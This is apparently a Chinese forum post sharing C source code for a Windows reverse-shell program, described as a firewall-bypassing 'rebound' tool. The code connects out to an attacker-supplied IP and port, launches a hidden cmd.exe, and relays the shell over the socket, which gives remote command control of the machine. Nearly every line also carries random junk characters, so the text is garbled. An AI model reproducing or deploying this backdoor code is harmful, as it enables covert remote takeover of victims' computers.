这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U~Ni2|}\C9
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/* ============================== t1Hd-]28V
Rebound port in Windows NT ;TmwIZ
By wind,2006/7 D: JGd$`
===============================*/ ?U|~h1
#include }-zx4<4BH
#include YH':cze
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#pragma comment(lib,"wsock32.lib") UT+\IzL
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void OutputShell(); k49CS*I
SOCKET sClient; <FS/'[P
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l:+tl/
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void main(int argc,char **argv) kG?tgO?*
{ wH|\;M{0V1
WSADATA stWsaData; MuZ\<;W$
int nRet; #A:I|Q 1$g
SOCKADDR_IN stSaiClient,stSaiServer; xd(AUl4qY
k]R O=/ ?M
if(argc != 3) E'XFn'
{ e{=7,DRH<
printf("Useage:\n\rRebound DestIP DestPort\n"); RF6(n8["MW
return; mWmDH74
} ^Xa-)Pu
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WSAStartup(MAKEWORD(2,2),&stWsaData); r}f-.Fo
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,:>>04O
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stSaiClient.sin_family = AF_INET; =C`v+NPM)|
stSaiClient.sin_port = htons(0); rZJp>Q)s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]d$)G4X1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N_C\L2
{ %3xH<$Gq5
printf("Bind Socket Failed!\n"); v{JCEb&wN
return; . s?
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} l*nSgUg
/^#}
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stSaiServer.sin_family = AF_INET; *ZN"+wf\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E_
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CXUNdB
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lJ7k4ua\
{ m?[F)<~a
printf("Connect Error!"); t$\]6RU
return; Z]9
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} H7l[5ib
OutputShell(); O "{o
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} IH>+P]+3"3
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void OutputShell() (B$2)yZY
{ e#_xDR:
char szBuff[1024]; Bc t>EWQ
SECURITY_ATTRIBUTES stSecurityAttributes; L x9`y t6
OSVERSIONINFO stOsversionInfo; .':SD{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _9L2JN$R6
STARTUPINFO stStartupInfo; o"[qPZd>
char *szShell; rycscE4,
PROCESS_INFORMATION stProcessInformation; {tWfLfzU
unsigned long lBytesRead; ?\c*DNM'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u;=("S{"0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PicO3m
stSecurityAttributes.lpSecurityDescriptor = 0; uidE/7
stSecurityAttributes.bInheritHandle = TRUE; S;|%'Sn|j9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k)S7SbQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q=96Ci _a
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jriliEz;f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j4G,Z4
stStartupInfo.wShowWindow = SW_HIDE; B'~.>,fg
stStartupInfo.hStdInput = hReadPipe; ;|
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [k1N `K(M
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GetVersionEx(&stOsversionInfo); c&'T By
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switch(stOsversionInfo.dwPlatformId) Dm4\Rld{
{ :+[q`
case 1: 9KAXc(-
szShell = "command.com"; 2RM0ca_F
break; :SYg)|s
default: gVZ~OcB!W
szShell = "cmd.exe"; 0|4XV{\qT$
break; 66z1_lA
} {H0B"i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u 4)i7
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send(sClient,szMsg,77,0); xY_/CR[,
while(1) oq0G@
{ ZYL]|/"J9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _-^KqNyy
if(lBytesRead) ?]sj!7
{ $e<3z6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kA#>Xu/
send(sClient,szBuff,lBytesRead,0); a&y%|Gs^f
} @$~%C) %u
else jfgAI7;b
{ 4'X^YBm
lBytesRead=recv(sClient,szBuff,1024,0);
fmloh1{4
if(lBytesRead<=0) break; }|A%2!Q}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _jnH!Mw
} zeR!Y yt!
} x:?1fvVR
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return; $=H\#e)]Ug
}